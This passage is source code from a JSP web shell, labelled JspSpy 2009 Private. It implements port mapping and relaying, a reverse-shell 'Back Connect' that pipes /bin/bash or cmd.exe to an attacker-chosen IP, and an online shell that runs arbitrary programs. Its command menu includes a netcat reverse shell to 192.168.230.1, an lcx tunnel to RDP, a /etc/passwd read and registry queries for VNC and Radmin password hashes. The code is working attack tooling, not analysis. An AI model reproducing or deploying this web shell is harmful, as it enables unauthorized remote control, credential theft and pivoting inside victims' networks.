2368 " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2369 " <tr align=\"center\">"+
2370 " <td style=\"width:5%\"></td>"+
2371 " <td style=\"width:20%\" align=\"left\"><br/>Local Ip :"+
2372 " <input name=\"localIP\" id=\"localIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+localIP+"\" />"+
2373 " </td>"+
2374 " <td style=\"width:20%\" align=\"left\">Local Port :"+
2375 " <input name=\"localPort\" id=\"localPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+localPort+"\" /></td>"+
2376 " <td style=\"width:20%\" align=\"left\">Remote Ip :"+
2377 " <input name=\"remoteIP\" id=\"remoteIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+remoteIP+"\" /></td>"+
2378 " <td style=\"width:20%\" align=\"left\">Remote Port :"+
2379 " <input name=\"remotePort\" id=\"remotePort\" type=\"text\" class=\"input\" size=\"20\" value=\""+remotePort+"\" /></td>"+
2380 " </tr>"+
2381 " <tr align=\"center\">"+
2382 " <td colspan=\"5\"><br/>"+
2383 " <input type=\"submit\" name=\"FJE\" value=\"MapPort\" id=\"FJE\" class=\"bt\" />"+
2384 " <input type=\"button\" name=\"giX\" value=\"ClearAll\" id=\"giX\" onClick=\"location.href='"+SHELL_NAME+"?o=smp'\" class=\"bt\" />"+
2385 " </td>"+
2386 " </tr>"+
2387 " </table>"+
2388 " </div>"+
2389 "</td>"+
2390 "</tr>"+
2391 "</table>"+
2392 "</form>");
2393 String targetIP = request.getParameter("targetIP");
2394 String targetPort = request.getParameter("targetPort");
2395 String yourIP = request.getParameter("yourIP");
2396 String yourPort = request.getParameter("yourPort");
2397 if (Util.isEmpty(targetIP))
2398 targetIP = "127.0.0.1";
2399 if (Util.isEmpty(targetPort))
2400 targetPort = "3389";
2401 if (Util.isEmpty(yourIP))
2402 yourIP = request.getRemoteAddr();
2403 if (Util.isEmpty(yourPort))
2404 yourPort = "53";
2405 out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2406 "<input type=\"hidden\" name=\"o\" value=\"portBack\">"+
2407 " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2408 " <tr>"+
2409 " <td><h2 id=\"Bin_H2_Title\">Port Back >><hr/></h2>"+
2410 " <div id=\"hOWTm\">"+
2411 " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2412 " <tr align=\"center\">"+
2413 " <td style=\"width:5%\"></td>"+
2414 " <td style=\"width:20%\" align=\"left\"><br/>Target Ip :"+
2415 " <input name=\"targetIP\" id=\"targetIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetIP+"\" />"+
2416 " </td>"+
2417 " <td style=\"width:20%\" align=\"left\">Target Port :"+
2418 " <input name=\"targetPort\" id=\"targetPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+targetPort+"\" /></td>"+
2419 " <td style=\"width:20%\" align=\"left\">Your Ip :"+
2420 " <input name=\"yourIP\" id=\"yourIP\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourIP+"\" /></td>"+
2421 " <td style=\"width:20%\" align=\"left\">Your Port :"+
2422 " <input name=\"yourPort\" id=\"yourPort\" type=\"text\" class=\"input\" size=\"20\" value=\""+yourPort+"\" /></td>"+
2423 " </tr>"+
2424 " <tr align=\"center\">"+
2425 " <td colspan=\"5\"><br/>"+
2426 " <input type=\"submit\" name=\"FJE\" value=\"Port Back\" id=\"FJE\" class=\"bt\" />"+
2427 " </td>"+
2428 " </tr>"+
2429 " </table>"+
2430 " </div>"+
2431 "</td>"+
2432 "</tr>"+
2433 "</table>"+
2434 "</form>");
2435 } catch (Exception e) {
2436
2437 throw e ;
2438 }
2439 }
2440 }
2441 //StopMapPort
2442 private static class SmpInvoker extends DefaultInvoker {
2443 public boolean doAfter(){return true;}
2444 public boolean doBefore(){return true;}
2445 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2446 try {
2447 Object obj = JSession.getAttribute(PORT_MAP);
2448 if (obj != null) {
2449 ServerSocket server = (ServerSocket)JSession.getAttribute(PORT_MAP);
2450 server.close();
2451 }
2452 JSession.setAttribute("done","Stop Success!");
2453 ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2454 } catch (Exception e) {
2455
2456 throw e ;
2457 }
2458 }
2459 }
2460 //PortBack
2461 private static class PortBackInvoker extends DefaultInvoker {
2462 public boolean doAfter(){return true;}
2463 public boolean doBefore(){return true;}
2464 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2465 try {
2466 String targetIP = request.getParameter("targetIP");
2467 String targetPort = request.getParameter("targetPort");
2468 String yourIP = request.getParameter("yourIP");
2469 String yourPort = request.getParameter("yourPort");
2470 Socket yourS = new Socket();
2471 yourS.connect(new InetSocketAddress(yourIP,Integer.parseInt(yourPort)));
2472 Socket targetS = new Socket();
2473 targetS.connect(new InetSocketAddress(targetIP,Integer.parseInt(targetPort)));
2474 StreamConnector.readFromLocal(new DataInputStream(targetS.getInputStream()),new DataOutputStream(yourS.getOutputStream()));
2475 StreamConnector.readFromRemote(targetS,yourS,new DataInputStream(yourS.getInputStream()),new DataOutputStream(targetS.getOutputStream()));
2476 JSession.setAttribute("done","Port Back Success !");
2477 ((Invoker)ins.get("vmp")).invoke(request,response,JSession);
2478 } catch (Exception e) {
2479
2480 throw e ;
2481 }
2482 }
2483 }
2484 private static class MapPortInvoker extends DefaultInvoker {
2485 public boolean doBefore(){return false;}
2486 public boolean doAfter(){return false;}
2487 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2488 try {
2489 PrintWriter out = response.getWriter();
2490 String localIP = request.getParameter("localIP");
2491 String localPort = request.getParameter("localPort");
2492 final String remoteIP = request.getParameter("remoteIP");
2493 final String remotePort = request.getParameter("remotePort");
2494 if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
2495 return;
2496 Object obj = JSession.getAttribute(PORT_MAP);
2497 if (obj != null) {
2498 ServerSocket s = (ServerSocket)obj;
2499 s.close();
2500 }
2501 final ServerSocket server = new ServerSocket();
2502 server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
2503 JSession.setAttribute(PORT_MAP,server);
2504 new Thread(new Runnable(){
2505 public void run(){
2506 while (true) {
2507 Socket soc = null;
2508 Socket remoteSoc = null;
2509 DataInputStream remoteIn = null;
2510 DataOutputStream remoteOut = null;
2511 DataInputStream localIn = null;
2512 DataOutputStream localOut = null;
2513 try{
2514 soc = server.accept();
2515 remoteSoc = new Socket();
2516 remoteSoc.connect(new InetSocketAddress(remoteIP,Integer.parseInt(remotePort)));
2517 remoteIn = new DataInputStream(remoteSoc.getInputStream());
2518 remoteOut = new DataOutputStream(remoteSoc.getOutputStream());
2519 localIn = new DataInputStream(soc.getInputStream());
2520 localOut = new DataOutputStream(soc.getOutputStream());
2521 StreamConnector.readFromLocal(localIn,remoteOut);
2522 StreamConnector.readFromRemote(soc,remoteSoc,remoteIn,localOut);
2523 }catch(Exception ex)
2524 {
2525 break;
2526 }
2527 }
2528 }
2529
2530 }).start();
2531 JSession.setAttribute("done","Map Port Success!");
2532 JSession.setAttribute("localIP",localIP);
2533 JSession.setAttribute("localPort",localPort);
2534 JSession.setAttribute("remoteIP",remoteIP);
2535 JSession.setAttribute("remotePort",remotePort);
2536 JSession.setAttribute(SESSION_O,"vmp");
2537 response.sendRedirect(SHELL_NAME);
2538 } catch (Exception e) {
2539
2540 throw e ;
2541 }
2542 }
2543 }
2544 //VBackConnect
2545 private static class VbcInvoker extends DefaultInvoker {
2546 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2547 try {
2548 PrintWriter out = response.getWriter();
2549 Object ip = JSession.getAttribute("ip");
2550 Object port = JSession.getAttribute("port");
2551 Object program = JSession.getAttribute("program");
2552 Object done = JSession.getAttribute("done");
2553 JSession.removeAttribute("ip");
2554 JSession.removeAttribute("port");
2555 JSession.removeAttribute("program");
2556 JSession.removeAttribute("done");
2557 if (Util.isEmpty(ip))
2558 ip = request.getRemoteAddr();
2559 if (Util.isEmpty(port) || !Util.isInteger(port.toString()))
2560 port = "53";
2561 if (Util.isEmpty(program)) {
2562 if (ISLINUX)
2563 program = "/bin/bash";
2564 else
2565 program = "cmd.exe";
2566 }
2567
2568 if (!Util.isEmpty(done))
2569 Util.outMsg(out,done.toString());
2570 out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
2571 "<input type=\"hidden\" name=\"o\" value=\"backConnect\">"+
2572 " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2573 " <tr>"+
2574 " <td><h2 id=\"Bin_H2_Title\">Back Connect >></h2>"+
2575 " <div id=\"hOWTm\">"+
2576 " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2577 " <tr align=\"center\">"+
2578 " <td style=\"width:5%\"></td>"+
2579 " <td align=\"center\">Your Ip :"+
2580 " <input name=\"ip\" id=\"ip\" type=\"text\" class=\"input\" size=\"20\" value=\""+ip+"\" />"+
2581 " Your Port :"+
2582 " <input name=\"port\" id=\"port\" type=\"text\" class=\"input\" size=\"20\" value=\""+port+"\" />Program To Back :"+
2583 " <input name=\"program\" id=\"program\" type=\"text\" value=\""+program+"\" class=\"input\" size=\"20\" value=\"d\" /></td>"+
2584 " </tr>"+
2585 " <tr align=\"center\">"+
2586 " <td colspan=\"2\"><br/>"+
2587 " <input type=\"submit\" name=\"FJE\" value=\"Connect\" id=\"FJE\" class=\"bt\" />"+
2588 " </td>"+
2589 " </tr>"+
2590 " </table>"+
2591 " </div>"+
2592 "</td>"+
2593 "</tr>"+
2594 "</table>"+
2595 "</form>");
2596 } catch (Exception e) {
2597
2598 throw e ;
2599 }
2600 }
2601 }
2602 private static class BackConnectInvoker extends DefaultInvoker {
2603 public boolean doAfter(){return false;}
2604 public boolean doBefore(){return false;}
2605 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2606 try {
2607 String ip = request.getParameter("ip");
2608 String port = request.getParameter("port");
2609 String program = request.getParameter("program");
2610 if (Util.isEmpty(ip) || Util.isEmpty(program) || !Util.isInteger(port))
2611 return;
2612 Socket socket = new Socket(ip,Integer.parseInt(port));
2613 Process process = Runtime.getRuntime().exec(program);
2614 (new StreamConnector(process.getInputStream(), socket.getOutputStream())).start();
2615 (new StreamConnector(process.getErrorStream(), socket.getOutputStream())).start();
2616 (new StreamConnector(socket.getInputStream(), process.getOutputStream())).start();
2617 JSession.setAttribute("done","Back Connect Success!");
2618 JSession.setAttribute("ip",ip);
2619 JSession.setAttribute("port",port);
2620 JSession.setAttribute("program",program);
2621 JSession.setAttribute(SESSION_O,"vbc");
2622 response.sendRedirect(SHELL_NAME);
2623 } catch (Exception e) {
2624
2625 throw e ;
2626 }
2627 }
2628 }
2629 private static class JspEnvInvoker extends DefaultInvoker {
2630 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2631 try {
2632 PrintWriter out = response.getWriter();
2633 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2634 " <tr>"+
2635 " <td><h2 id=\"Ninty_H2_Title\">System Properties >></h2>"+
2636 " <div id=\"ghaB\">"+
2637 " <hr/>"+
2638 " <ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2639 Properties pro = System.getProperties();
2640 Enumeration names = pro.propertyNames();
2641 while (names.hasMoreElements()){
2642 String name = (String)names.nextElement();
2643 out.println("<li><u>"+Util.htmlEncode(name)+" : </u>"+Util.htmlEncode(pro.getProperty(name))+"</li>");
2644 }
2645 out.println("</ul><h2 id=\"Ninty_H2_Mac\">System Environment >></h2><hr/><ul id=\"Ninty_Ul_Sys\" class=\"info\">");
2646 /*
2647 Map envs = System.getenv();
2648 Set<Map.Entry<String,String>> entrySet = envs.entrySet();
2649 for (Map.Entry<String,String> en:entrySet) {
2650 out.println("<li><u>"+Util.htmlEncode(en.getKey())+" : </u>"+Util.htmlEncode(en.getValue())+"</li>");
2651 }*/
2652 out.println("</ul></div></td>"+
2653 " </tr>"+
2654 " </table>");
2655 } catch (Exception e) {
2656
2657 throw e ;
2658 }
2659 }
2660 }
2661 private static class ReflectInvoker extends DefaultInvoker {
2662 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2663 try {
2664 PrintWriter out = response.getWriter();
2665 String c = request.getParameter("Class");
2666 Class cls = null;
2667 try {
2668 if (!Util.isEmpty(c))
2669 cls = Class.forName(c);
2670 } catch (ClassNotFoundException ex) {
2671 Util.outMsg(out,"<span style='color:red'>Class "+c+" Not Found ! </span>");
2672 }
2673 out.println("<form action=\""+SHELL_NAME+"\" id='refForm' method=\"post\">"+
2674 " <input type=\"hidden\" name=\"o\" value=\"reflect\">"+
2675 " <table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2676 " <tr>"+
2677 " <td><h2 id=\"Bin_H2_Title\">Java Reflect >></h2>"+
2678 " <table width=\"100%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
2679 " <tr>"+
2680 " <td>Class Name : <input name=\"Class\" type=\"text\" class=\"input\" value=\""+(Util.isEmpty(c) ? "java.lang.Object" : c)+"\" size=\"60\"/> "+
2681 " <input type=\"submit\" class=\"bt\" value=\"Reflect\"/></td>"+
2682 " </tr>"+
2683 " "+
2684 " </table>"+
2685 " </td>"+
2686 " </tr>"+
2687 " </table>"+
2688 "</form>");
2689
2690 if (cls != null) {
2691 StringBuffer sb = new StringBuffer();
2692 if (cls.getPackage() != null)
2693 sb.append("package "+cls.getPackage().getName()+";\n");
2694 String n = null;
2695 if (cls.isInterface())
2696 n = "";
2697 //else if (cls.isEnum())
2698 // n = "enum";
2699 else
2700 n = "class";
2701 sb.append(Modifier.toString(cls.getModifiers())+" "+n+" "+cls.getName()+"\n");
2702 if (cls.getSuperclass() != null)
2703 sb.append("\textends <a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+cls.getSuperclass().getName()+"';document.forms['refForm'].submit()\" style='color:red;'>"+cls.getSuperclass().getName()+"</a>\n");
2704 if (cls.getInterfaces() != null && cls.getInterfaces().length != 0) {
2705 Class[] faces = cls.getInterfaces();
2706 sb.append("\t implements ");
2707 for (int i = 0;i<faces.length;i++) {
2708 sb.append("<a href=\"javascript:document.forms['refForm'].elements['Class'].value='"+faces[i].getName()+"';document.forms['refForm'].submit()\" style='color:red'>"+faces[i].getName()+"</a>");
2709 if (i != faces.length -1) {
2710 sb.append(",");
2711 }
2712 }
2713 }
2714 sb.append("{\n\t\n");
2715 sb.append("\t//constructors..\n");
2716 Constructor[] cs = cls.getConstructors();
2717 for (int i = 0;i<cs.length;i++) {
2718 Constructor cc = cs[i];
2719 sb.append("\t"+cc+";\n");
2720 }
2721 sb.append("\n\t//fields\n");
2722 Field[] fs = cls.getDeclaredFields();
2723 for (int i =0;i<fs.length;i++) {
2724 Field f = fs[i];
2725 sb.append("\t"+f.toString()+";");
2726 if (Modifier.toString(f.getModifiers()).indexOf("static") != -1) {
2727 sb.append("\t//value is : ");
2728 f.setAccessible(true);
2729 Object obj = f.get(null);
2730 sb.append("<span style='color:red'>");
2731 if (obj != null)
2732 sb.append(obj.toString());
2733 else
2734 sb.append("NULL");
2735
2736 sb.append("</span>");
2737 }
2738 sb.append("\n");
2739 }
2740
2741 sb.append("\n\t//methods\n");
2742 Method[] ms = cls.getDeclaredMethods();
2743 for (int i =0;i<ms.length;i++) {
2744 Method m = ms[i];
2745 sb.append("\t"+ m.toString()+";\n");
2746 }
2747 sb.append("}\n");
2748 String m = "<span style='font-weight:normal'>"+Util.highLight(sb.toString()).replaceAll("\t"," ").replaceAll("\n","<br/>")+"</span>";
2749 Util.outMsg(out,m,"left");
2750 }
2751 } catch (Exception e) {
2752 throw e;
2753 }
2754 }
2755 }
2756 private static class TopInvoker extends DefaultInvoker {
2757 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2758 try {
2759 PrintWriter out = response.getWriter();
2760 out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" name=\"doForm\"></form>"+
2761 "<table width=\"100%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\">"+
2762 " <tr class=\"head\">"+
2763 " <td><span style=\"float:right;\"><a href=\"http://www.forjj.com\" target=\"_blank\">JspSpy Ver: 2009 Private </a></span>"+request.getHeader("host")+" (<span id='ip'>"+InetAddress.getLocalHost().getHostAddress()+"</span>) | <a href=\"javascript:if (!window.clipboardData){alert('only support IE!');}else{void(window.clipboardData.setData('Text', document.getElementById('ip').innerText));alert('ok')}\">copy</a></td>"+
2764 " </tr>"+
2765 " <tr class=\"alt1\">"+
2766 " <td><a href=\"javascript:doPost({o:'logout'});\">Logout</a> | "+
2767 " <a href=\"javascript:doPost({o:'fileList'});\">File Manager</a> | "+
2768 " <a href=\"javascript:doPost({o:'vConn'});\">DataBase Manager</a> | "+
2769 " <a href=\"javascript:doPost({o:'vs'});\">Execute Command</a> | "+
2770 " <a href=\"javascript:doPost({o:'vso'});\">Shell OnLine</a> | "+
2771 " <a href=\"javascript:doPost({o:'vbc'});\">Back Connect</a> | "+
2772 " <a href=\"javascript:doPost({o:'reflect'});\">Java Reflect</a> | "+
2773 " <!--<a href=\"javascript:alert('not support yet');\">Http Proxy</a> | -->"+
2774 " <a href=\"javascript:doPost({o:'ev'});\">Eval Java Code</a> | "+
2775 " <a href=\"javascript:doPost({o:'vPortScan'});;\">Port Scan</a> | "+
2776 " <a href=\"javascript:doPost({o:'vd'});\">Download Remote File</a> | "+
2777 " <a href=\"javascript:;doPost({o:'clipboard'});\">ClipBoard</a> | "+
2778 " <a href=\"javascript:doPost({o:'vmp'});\">Port Map</a> | "+
2779 " <a href=\"javascript:doPost({o:'vother'});\">Others</a> | "+
2780 " <a href=\"javascript:doPost({o:'jspEnv'});\">JSP Env</a> "+
2781 " </tr>"+
2782 "</table>");
2783 if (JSession.getAttribute(MSG) != null) {
2784 Util.outMsg(out,JSession.getAttribute(MSG).toString());
2785 JSession.removeAttribute(MSG);
2786 }
2787 if (JSession.getAttribute(ENTER_MSG) != null) {
2788 String outEntry = request.getParameter("outentry");
2789 if (Util.isEmpty(outEntry) || !outEntry.equals("true"))
2790 Util.outMsg(out,JSession.getAttribute(ENTER_MSG).toString());
2791 }
2792 } catch (Exception e) {
2793
2794 throw e ;
2795 }
2796 }
2797 }
2798 private static class VOnLineShellInvoker extends DefaultInvoker {
2799 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2800 try {
2801 PrintWriter out = response.getWriter();
2802 out.println("<script>"+
2803 " function $(id) {"+
2804 " return document.getElementById(id);"+
2805 " }"+
2806 " var ie = window.navigator.userAgent.toLowerCase().indexOf(\"msie\") != -1;"+
2807 " window.onload = function(){"+
2808 " setInterval(function(){"+
2809 " if ($(\"autoscroll\").checked)"+
2810 " {"+
2811 " var f = window.frames[\"echo\"];"+
2812 " if (f && f.document && f.document.body)"+
2813 " {"+
2814 " if (!ie)"+
2815 " {"+
2816 " if (f.document.body.offsetHeight)"+
2817 " {"+
2818 " f.scrollTo(0,parseInt(f.document.body.offsetHeight)+1);"+
2819 " }"+
2820 " } else {"+
2821 " f.scrollTo(0,parseInt(f.document.body.scrollHeight)+1);"+
2822 " }"+
2823 " }"+
2824 " }"+
2825 " },500);"+
2826 " }"+
2827 " </script>");
2828 out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2829 " <tr>"+
2830 " <td>");
2831 out.println("<h2>Shell OnLine »</h2><br/>");
2832 out.println("<form action=\""+SHELL_NAME+"\" method=\"post\" target=\"echo\" onsubmit=\"$('cmd').focus()\">"+
2833 " <input type=\"submit\" value=\" start \" class=\"bt\">"+
2834 " <input type=\"text\" name=\"exe\" style=\"width:300px\" class=\"input\" value=\""+(ISLINUX ? "/bin/bash" :"c:\\windows\\system32\\cmd.exe")+"\"/>"+
2835 " <input type=\"hidden\" name=\"o\" value=\"online\"/><input type=\"hidden\" name=\"type\" value=\"start\"/><span class=\"tip\">Notice ! If You Are Using IE , You Must Input Some Commands First After You Start Or You Will Not See The Echo</span>"+
2836 " </form>"+
2837 " <hr/>"+
2838 " <iframe class=\"secho\" name=\"echo\" src=\"\">"+
2839 " </iframe>"+
2840 " <form action=\""+SHELL_NAME+"\" method=\"post\" onsubmit=\"this.submit();$('cmd').value='';return false;\" target=\"asyn\">"+
2841 " <input type=\"text\" id=\"cmd\" name=\"cmd\" class=\"input\" style=\"width:75%\">"+
2842 " <input name=\"o\" id=\"o\" type=\"hidden\" value=\"online\"/><input type=\"hidden\" id=\"ddtype\" name=\"type\" value=\"ecmd\"/>"+
2843 " <select onchange=\"$('cmd').value = this.value;$('cmd').focus()\">"+
2844 " <option value=\"\" selected> </option>"+
2845 " <option value=\"uname -a\">uname -a</option>"+
2846 " <option value=\"cat /etc/issue\">issue</option>"+
2847 " <option value=\"cat /etc/passwd\">passwd</option>"+
2848 " <option value=\"netstat -an\">netstat -an</option>"+
2849 " <option value=\"net user\">net user</option>"+
2850 " <option value=\"tasklist\">tasklist</option>"+
2851 " <option value=\"tasklist /svc\">tasklist /svc</option>"+
2852 " <option value=\"net start\">net start</option>"+
2853 " <option value=\"net stop policyagent /yes\">net stop</option>"+
2854 " <option value=\"nbtstat -A IP\">nbtstat -A</option>"+
2855 " <option value='reg query \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v \"PortNumber\"'>reg query</option>"+
2856 " <option value='reg query \"HKEY_LOCAL_MACHINE\\SYSTEM\\RAdmin\\v2.0\\Server\\Parameters\\\" /v \"Parameter\"'>radmin hash</option>"+
2857 " <option value='reg query \"HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4\" /v \"password\"'>vnc hash</option>"+
2858 " <option value=\"nc -e cmd.exe 192.168.230.1 4444\">nc</option>"+
2859 " <option value=\"lcx -slave 192.168.230.1 4444 127.0.0.1 3389\">lcx</option>"+
2860 " <option value=\"systeminfo\">systeminfo</option>"+
2861 " <option value=\"net localgroup\">view groups</option>"+
2862 " <option value=\"net localgroup administrators\">view admins</option>"+
2863 " </select>"+
2864 " <input type=\"checkbox\" checked=\"checked\" id=\"autoscroll\">Auto Scroll"+
2865 " <input type=\"button\" value=\"Stop\" class=\"bt\" onclick=\"$('ddtype').value='stop';this.form.submit()\">"+
2866 " </form>"+
2867 " <iframe style=\"display:none\" name=\"asyn\"></iframe>"
2868 );
2869 out.println(" </td>"+
2870 " </tr>"+
2871 "</table>");
2872 } catch (Exception e) {
2873 throw e ;
2874 }
2875 }
2876 }
2877 private static class OnLineInvoker extends DefaultInvoker {
2878 public boolean doBefore(){return false;}
2879 public boolean doAfter(){return false;}
2880 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2881 try {
2882 String type = request.getParameter("type");
2883 if (Util.isEmpty(type))
2884 return;
2885 if (type.toLowerCase().equals("start")) {
2886 String exe = request.getParameter("exe");
2887 if (Util.isEmpty(exe))
2888 return;
2889 Process pro = Runtime.getRuntime().exec(exe);
2890 ByteArrayOutputStream outs = new ByteArrayOutputStream();
2891 response.setContentLength(100000000);
2892 response.setContentType("text/html;charset="+System.getProperty("file.encoding"));
2893 OnLineProcess olp = new OnLineProcess(pro);
2894 JSession.setAttribute(SHELL_ONLINE,olp);
2895 new OnLineConnector(new ByteArrayInputStream(outs.toByteArray()),pro.getOutputStream(),"exeOclientR",olp).start();
2896 new OnLineConnector(pro.getInputStream(),response.getOutputStream(),"exeRclientO",olp).start();
2897 new OnLineConnector(pro.getErrorStream(),response.getOutputStream(),"exeRclientO",olp).start();
2898 Thread.sleep(1000 * 60 * 60 * 24);
2899 } else if (type.equals("ecmd")) {
2900 Object o = JSession.getAttribute(SHELL_ONLINE);
2901 String cmd = request.getParameter("cmd");
2902 if (Util.isEmpty(cmd))
2903 return;
2904 if (o == null)
2905 return;
2906 OnLineProcess olp = (OnLineProcess)o;
2907 olp.setCmd(cmd);
2908 } else {
2909 Object o = JSession.getAttribute(SHELL_ONLINE);
2910 if (o == null)
2911 return;
2912 OnLineProcess olp = (OnLineProcess)o;
2913 olp.stop();
2914 }
2915 } catch (Exception e) {
2916
2917 throw e;
2918 }
2919 }
2920 }
2921 private static class EnterInvoker extends DefaultInvoker {
2922 public boolean doBefore(){return false;}
2923 public boolean doAfter(){return false;}
2924 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2925 PrintWriter out = response.getWriter();
2926 String type = request.getParameter("type");
2927 if (!Util.isEmpty(type)) {
2928 JSession.removeAttribute(ENTER);
2929 JSession.removeAttribute(ENTER_MSG);
2930 JSession.removeAttribute(ENTER_CURRENT_DIR);
2931 JSession.setAttribute(MSG,"Exit File Success ! ");
2932 } else {
2933 String f = request.getParameter("filepath");
2934 if (Util.isEmpty(f))
2935 return;
2936 JSession.setAttribute(ENTER,f);
2937 JSession.setAttribute(ENTER_MSG,"You Are In File <a style='color:red'>\""+f+"\"</a> Now ! <a href=\"javascript:doPost({o:'enter',type:'exit'})\"> Exit </a>");
2938 }
2939 response.sendRedirect(SHELL_NAME);
2940 }
2941 }
2942 private static class VExport2FileInvoker extends DefaultInvoker {
2943 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2944 PrintWriter out = response.getWriter();
2945 String type = request.getParameter("type");
2946 String sql = request.getParameter("sql");
2947 String table = request.getParameter("table");
2948 if (Util.isEmpty(sql) && Util.isEmpty(table)) {
2949 JSession.setAttribute(SESSION_O,"vConn");
2950 response.sendRedirect(SHELL_NAME);
2951 return;
2952 }
2953 out.println("<form action=\"\" method=\"post\">"+
2954 "<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\">"+
2955 " <tr>"+
2956 " <td>"+
2957 " <input type=\"hidden\" name=\"o\" value=\"export\"/>"+
2958 " <input type=\"hidden\" name=\"type\" value=\""+(Util.isEmpty(type) ? "" : type)+"\"/>"+
2959 " <input type=\"hidden\" name=\"sql\" value=\""+(Util.isEmpty(sql) ? "" : sql.replaceAll("\"","""))+"\"/>"+
2960 " <input type=\"hidden\" name=\"table\" value=\""+(Util.isEmpty(table) ? "" : table)+"\"/>"+
2961 " <h2>Export To File »</h2>"+
2962 " "+
2963 " <hr/>Export \"<span style='color:red;font-weight:bold'>"+(Util.isEmpty(sql) ? table : sql.replaceAll("\"","""))+"</span>\" To File : <input type=\"text\" style=\"font-weight:bold\" name=\"filepath\" value=\""+(JSession.getAttribute(CURRENT_DIR).toString()+"/exportdata.txt")+"\" size=\"100\" class=\"input\"/> <input type=\"submit\" class=\"bt\" value=\"Export\"/><br/><br/>"+BACK_HREF+"</td>"+
2964 " </tr>"+
2965 " </table>"+
2966 "</form>");
2967 }
2968 }
2969
2970 private static class ExportInvoker extends DefaultInvoker {
2971 public boolean doBefore(){return false;}
2972 public boolean doAfter(){return false;}
2973 public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
2974 String type = request.getParameter("type");
2975 String filepath = request.getParameter("filepath");
2976 String sql = null;
2977 DBOperator dbo = null;
2978 dbo = (DBOperator)JSession.getAttribute(DBO);
2979
2980 if (Util.isEmpty(type)) {
2981 //table export
2982 String tb = request.getParameter("table");
2983 if (Util.isEmpty(tb))
2984 return;
2985 String s = dbo.getConn().getMetaData().getIdentifierQuoteString();
2986 sql = "select * from "+s+tb+s;
2987
2988 } else if (type.equals("queryexp")) {
2989 //query export
2990 sql = request.getParameter("sql");
2991 if (Util.isEmpty(sql)) {
2992 JSession.setAttribute(SESSION_O,"vConn");
2993 response.sendRedirect(SHELL_NAME);
2994 return;
2995 }
2996 }
2997 Object o = dbo.execute(sql);
2998 ByteArrayOutputStream bout = new ByteArrayOutputStream();
2999 byte[] rowSep = "\r\n".getBytes();
3000 if (o instanceof ResultSet) {
3001 ResultSet rs = (ResultSet)o;
3002 ResultSetMetaData meta = rs.getMetaData();
3003 int count = meta.getColumnCount();
3004 for (int i =1;i<=count;i++) {
3005 String colName = meta.getColumnName(i)+"\t";
3006 byte[] b = colName.getBytes();
3007 bout.write(b,0,b.length);
3008 }
3009 bout.write(rowSep,0,rowSep.length);
3010 while (rs.next()) {
3011 for (int i =1;i<=count;i++) {
3012 String v = null;
3013 try {
3014 v = rs.getString(i);
3015 } catch (SQLException ex) {
3016 v = "<<Error!>>";
3017 }
3018 v += "\t";
3019 byte[] b = v.getBytes();
3020 bout.write(b,0,b.length);
3021 }
3022 bout.write(rowSep,0,rowSep.length);
3023 }
3024 rs.close();
3025 ByteArrayInputStream input = new ByteArrayInputStream(bout.toByteArray());
3026 BufferedOutputStream output = null;
3027 if (!Util.isEmpty(filepath)) {
3028 //export2file
3029 output = new BufferedOutputStream(new FileOutputStream(new File(filepath)));
3030 } else {
3031 //download.
3032 response.setHeader("Content-Disposition","attachment;filename=DataExport.txt");
3033 output = new BufferedOutputStream(response.getOutputStream());
3034 }
3035 byte[] data = new byte[1024];
3036 int len = input.read(data);
3037 while (len != -1) {
3038 output.write(data,0,len);
3039 len = input.read(data);
3040 }
3041 bout.close();
3042 input.close();
3043 output.close();
3044 if (!Util.isEmpty(filepath)) {
3045 JSession.setAttribute(MSG,"Export To File Success !");
3046 response.sendRedirect(SHELL_NAME);
3047 }
3048 }
